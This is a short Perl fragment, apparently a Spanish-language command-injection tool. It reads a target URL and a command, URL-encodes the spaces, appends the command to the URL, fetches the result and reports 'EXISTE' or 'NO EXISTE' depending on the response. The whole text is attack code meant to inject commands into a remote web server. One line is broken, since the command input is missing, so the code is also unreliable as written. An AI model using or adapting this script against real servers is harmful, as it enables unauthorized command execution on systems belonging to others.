$host=$ARGV[0]; print "$host"; $comando=; chomp $comando; if ($comando =~ s/ /+/g) { print "Comando injectado: $comando\n"; $doc = get ($host . $comando); if ( $doc =~ m/ Web /mosix ) { print "EXISTE\n"; } else { print "NO EXISTE\n"; } } # fin del if del comando